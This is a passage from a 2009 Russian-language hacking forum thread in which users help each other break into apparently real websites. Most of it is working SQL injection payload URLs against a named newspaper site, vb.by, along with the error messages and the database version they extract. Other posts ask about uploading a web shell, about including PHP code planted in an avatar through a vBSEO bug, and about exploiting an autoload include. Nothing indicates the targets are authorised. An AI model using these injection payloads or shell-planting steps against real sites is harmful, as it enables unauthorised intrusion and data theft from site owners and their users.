ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10741  
Старый 12.12.2009, 18:49
Аватар для jecka3000
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

Root-access, шелл залить не получается, видимо права...
может быть посредствам командной строке возможно это сделать?
 
Ответить с цитированием

  #10742  
Старый 12.12.2009, 18:50
Аватар для shellz[21h]
shellz[21h]
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
Провел на форуме:
1934122

Репутация: 118
Отправить сообщение для shellz[21h] с помощью ICQ
По умолчанию

что не понятно, что человеку надо сдампить через sqlinj
 
Ответить с цитированием

  #10743  
Старый 12.12.2009, 18:50
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Доброго времени суток.
Есть проблема:
http://vb.by/author.php?topic=11&author=9'
Выдеёт:
SQL request caused an error.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

http://vb.by/author.php?topic=11&author=-1
Выдаёт:
SQL request caused an error. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND project_id<>1 AND project_id<>2 ORDER BY `date` DESC LIMIT 0, 15' at line 1

Пробую найти колво столбцов:
http://vb.by/author.php?topic=11&author=-1+UNION+Select+1%20--%20
Страницу открывает, в исх коде в самом конце пришет:
SQL request caused an error. The used SELECT statements have a different number of columns

Потаюсь подобрать дальше:
http://vb.by/author.php?topic=11&author=-1+UNION+Select+1,2%20--%20
Открывает страничку на которой только написано:
SQL request caused an error. The used SELECT statements have a different number of columns

Написал прогу чтобы вручную не перебирать, и сколько бы я не брал столюцов пишет different number of columns


Что ето может быть такое???
 
Ответить с цитированием

  #10744  
Старый 12.12.2009, 18:55
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

не нужно гадать.
http://vb.by/author.php?topic=11&author=1+and+1=2+union+select+ version()--+

хорошо конечно знать новые методы, но может сначала поискать "обычный" вывод?
 
Ответить с цитированием

  #10745  
Старый 12.12.2009, 18:56
Аватар для M.W.N.N.
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме:
3020589

Репутация: 240
По умолчанию

Код:
http://vb.by/author.php?topic=11&author=9+union+select+version%28%29+limit+1,1--+
 
Ответить с цитированием

  #10746  
Старый 12.12.2009, 19:47
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от geezer.code  
не нужно гадать.
http://vb.by/author.php?topic=11&author=1+and+1=2+union+select+ version()--+

хорошо конечно знать новые методы, но может сначала поискать "обычный" вывод?
Так я искал, но такой запрос вызывает ошибку! Сорри я прост немного ещё в жтом не разьераюсь... учусь... Если есть возможность напиши плиз в аську 553226859
 
Ответить с цитированием

  #10747  
Старый 12.12.2009, 19:49
Аватар для .:[melkiy]:.
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Цитата:
Сообщение от Seravin  
Так я искал, но такой запрос вызывает ошибку! Сорри я прост немного ещё в жтом не разьераюсь... учусь... Если есть возможность напиши плиз в аську 553226859
Вывод в тайтл

Код:
<title>Вечерний Брест: Авторы: 5.0.51a-log</title>
 
Ответить с цитированием

  #10748  
Старый 12.12.2009, 19:58
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от .:[melkiy]:.  
Вывод в тайтл

Код:
<title>Вечерний Брест: Авторы: 5.0.51a-log</title>
оу, ёмаё, не видел, спс)) но в аську всё равно плз
 
Ответить с цитированием

  #10749  
Старый 13.12.2009, 02:14
Аватар для Matnya
Matnya
Banned
Регистрация: 02.12.2009
Сообщений: 23
Провел на форуме:
48201

Репутация: -55
По умолчанию

Подскажите плиз. Блэксан нашол багу в моде булки ВБСЕО. Я пихнул в авку пых-код. пытался проинклудить но нифига. подскажите в чём дело? как проинлудить? плиз.
 
Ответить с цитированием

  #10750  
Старый 13.12.2009, 03:57
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию

ну тут постим может кто посоветует:
ну если на include.php
содержание:
PHP код:
<?php  function __autoload($classname) {
      if(
substr($classname,0,2) == "Ic") {
          
$filename "classes/" $classname ".php";
          require 
$filename;
      }  
}    
?>
тут можно ли провести инклуд?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ